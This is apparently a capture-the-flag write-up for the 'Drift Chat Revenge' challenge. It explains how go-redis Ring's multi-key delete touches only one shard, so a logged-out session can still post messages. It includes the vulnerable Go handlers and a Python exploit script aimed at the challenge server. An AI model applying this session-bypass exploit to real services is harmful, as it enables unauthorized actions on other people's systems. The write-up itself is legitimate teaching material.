redis.Ring Golang Shard Access Bypass

Event Name SAS CTF Quals 2025
GitHub URL -
Challenge Name Drift Chat Revenge
Solves 11

redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted session.

Solver

Vulnerability: When /logout is called, the app executes redis.Del on several keys, but it only executes on the shard of the first key.

Exploit Chain:

  1. SetDraft("best chat eva", "a")
  2. Logout
  3. SendMessage

Relevant Code

Draft Handler:

package service

import (
	"editor/internal/redis"
	"fmt"
	"log/slog"
	"time"

	"github.com/gin-gonic/gin"
)

type setDraftReq struct {
	Chat  string `json:"chat"`
	Draft string `json:"draft"`
}

type setDraftResp struct{}

func (s *Service) SetDraft(c *gin.Context) {
	ctx := c.Request.Context()

	req := setDraftReq{}
	if err := c.BindJSON(&req); err != nil {
		slog.Error("parse", "err", err)
		c.AbortWithStatus(532)
		return
	}

	tok := c.Request.CookiesNamed(tokenCookie)
	if len(tok) != 1 {
		c.AbortWithStatus(403)
		return
	}
	token := tok[0].Value
	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
	username := st.Val()
	if username == "" {
		c.AbortWithStatus(403)
		return
	}

	s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)

	if req.Draft == "" {
		res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
			fmt.Sprintf(redis.WrittenNow, token))
		if res.Err() != nil {
			c.AbortWithStatus(500)
			return
		}

		c.JSON(200, setDraftResp{})
		return
	}

	pipe := s.red.TxPipeline()
	pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
	pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
	pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
	_, err := pipe.Exec(ctx)
	if err != nil {
		c.AbortWithStatus(500)
		c.Error(err)
		return
	}

	c.JSON(200, setDraftResp{})
}

SendMessage Handler:

package service

import (
	"editor/internal/redis"
	"editor/internal/repository/chat"
	"fmt"
	"log/slog"

	"github.com/gin-gonic/gin"
)

type sendMessageReq struct {
	Chat string `json:"chat"`
}

func (s *Service) SendMessage(c *gin.Context) {
	ctx := c.Request.Context()

	req := sendMessageReq{}
	if err := c.BindJSON(&req); err != nil {
		slog.Error("parse", "err", err)
		c.AbortWithStatus(532)
		return
	}
	chatName := req.Chat

	tok := c.Request.CookiesNamed(tokenCookie)
	if len(tok) != 1 {
		c.AbortWithStatus(403)
		return
	}
	token := tok[0].Value
	st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
	username := st.Val()

	st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
	if st.Err() != nil {
		c.AbortWithStatus(401)
		c.Error(fmt.Errorf("no draft message %s", st.Err()))
		return
	}
	msg := st.Val()

	st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
	if st.Err() != nil {
		c.AbortWithStatus(402)
		c.Error(fmt.Errorf("no written now %s", st.Err()))
		return
	}
	writtenNow := st.Val()
	if writtenNow != chatName {
		c.AbortWithStatus(403)
		c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
		return
	}

	messages, err := s.chat.GetMessages(ctx, chatName)
	if err != nil {
		c.AbortWithStatus(404)
		c.Error(fmt.Errorf("no messages %s", st.Err()))
		return
	}

	ok, _ := s.check_is_allowed(ctx, username, chatName)
	if !ok {
		c.AbortWithStatus(405)
		return
	}

	err = s.chat.SendMessage(ctx, chatName, chat.Message{
		Author:  username,
		Content: msg,
	})
	if err != nil {
		c.AbortWithStatus(406)
		c.Error(fmt.Errorf("failed to send %s", st.Err()))
		return
	}

	cmd := s.red.Del(ctx,
		fmt.Sprintf(redis.WrittenNow, token),
		fmt.Sprintf(redis.DraftMessage, token))
	if cmd.Err() != nil {
		c.AbortWithStatus(407)
		c.Error(fmt.Errorf("del %s", cmd.Err()))
		return
	}

	c.JSON(200, getChatResp{Messages: messages})
}

Exploit Script

import httpx

URL = "<https://drift-chat-revenge.task.sasc.tf>"
# URL = "https://drift_chat.task.sasc.tf/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, verify=False)
    def api_login(self, login, password):
        return self.c.post("/api/login", json={
            "login": login,
            "password": password,
        })
    def api_chat_create(self, name, allowed_users):
        return self.c.post("/api/chat/create", json={
            "name": name,
            "allowed_users": allowed_users,
        })
    def api_chat_get(self, chat):
        return self.c.post("/api/chat/get", json={
            "chat": chat,
        })
    def api_register(self, password, login):
        return self.c.post("/api/register", json={
            "login": login,
            "password": password,
        })
    def api_set_draft(self, chat, draft):
        return self.c.post("/api/set_draft", json={
            "chat": chat,
            "draft": draft,
        })
    def api_chat_get_drafts(self, chat):
        return self.c.post("/api/chat/get_drafts", json={
            "chat": chat,
        })
    def api_send_message(self, chat):
        return self.c.post("/api/send_message", json={
            "chat": chat,
        })
    def api_logout(self):
        return self.c.post("/api/logout")
class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    for i in range(10):
        creds = ["dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws", "dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws"]
        res = api.api_register(login=creds[0], password=creds[1])
        print(res.text, res.status_code)
        res = api.api_login(login=creds[0], password=creds[1])

        res = api.api_set_draft("best chat eva", "foo")
        print(res.text, res.status_code)

        res = api.api_logout()
        print(res.text, res.status_code)

        print(api.c.cookies)

        res = api.api_send_message("best chat eva")
        print(res.text, res.status_code)

Flag